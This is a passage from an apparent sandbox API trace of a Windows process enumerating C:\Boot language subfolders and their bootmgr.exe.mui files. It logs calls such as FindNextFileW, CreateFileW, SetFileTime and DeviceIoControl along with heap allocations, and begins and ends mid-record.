lpOverlapped=0x0) returned 0 [0038.791] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0038.795] NtClose (Handle=0x134) returned 0x0 [0038.795] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0038.796] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0038.796] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0038.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0038.797] FindFirstFileExW (in: lpFileName="C:\\Boot\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0038.799] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.801] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0038.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.802] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.803] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6320 [0038.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0038.805] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.805] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0038.806] GetLastError () returned 0x12 [0038.807] FindFirstFileExW (in: lpFileName="C:\\Boot\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0038.838] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0038.842] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.845] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0038.845] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0038.845] GetLastError () returned 0x12 [0038.847] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0038.848] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0038.848] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0038.849] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0038.850] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0038.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0038.855] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR" (normalized: "c:\\boot\\ko-kr"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.147] CreateFileW (lpFileName="C:\\Boot\\ko-KR" (normalized: "c:\\boot\\ko-kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0039.148] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0039.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0039.148] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0039.148] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0039.148] NtClose (Handle=0x16c) returned 0x0 [0039.148] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0039.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0039.149] FindFirstFileExW (in: lpFileName="C:\\Boot\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0039.152] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.153] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.154] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.154] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6340 [0039.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3868 [0039.157] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.157] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.160] GetLastError () returned 0x12 [0039.160] FindFirstFileExW (in: lpFileName="C:\\Boot\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0039.160] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0039.160] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.161] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.161] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.161] GetLastError () returned 0x12 [0039.161] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0039.161] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0039.161] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0039.161] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.161] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0039.161] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0039.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.161] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO" (normalized: "c:\\boot\\nb-no"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.161] CreateFileW (lpFileName="C:\\Boot\\nb-NO" (normalized: "c:\\boot\\nb-no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0039.161] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0039.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0039.161] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0039.162] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0039.162] NtClose (Handle=0x134) returned 0x0 [0039.162] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0039.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0039.162] FindFirstFileExW (in: lpFileName="C:\\Boot\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0039.162] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.162] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.162] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.162] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6360 [0039.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed38f0 [0039.162] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.162] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.162] GetLastError () returned 0x12 [0039.162] FindFirstFileExW (in: lpFileName="C:\\Boot\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0039.162] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0039.162] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.162] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.162] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.162] GetLastError () returned 0x12 [0039.163] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0039.163] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0039.163] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0039.163] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.163] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0039.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.163] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL" (normalized: "c:\\boot\\nl-nl"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.210] CreateFileW (lpFileName="C:\\Boot\\nl-NL" (normalized: "c:\\boot\\nl-nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0039.211] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0039.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0039.211] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0039.211] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0039.211] NtClose (Handle=0x16c) returned 0x0 [0039.211] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0039.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0039.211] FindFirstFileExW (in: lpFileName="C:\\Boot\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0039.211] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.211] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.211] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.211] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6380 [0039.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3978 [0039.211] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.211] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, 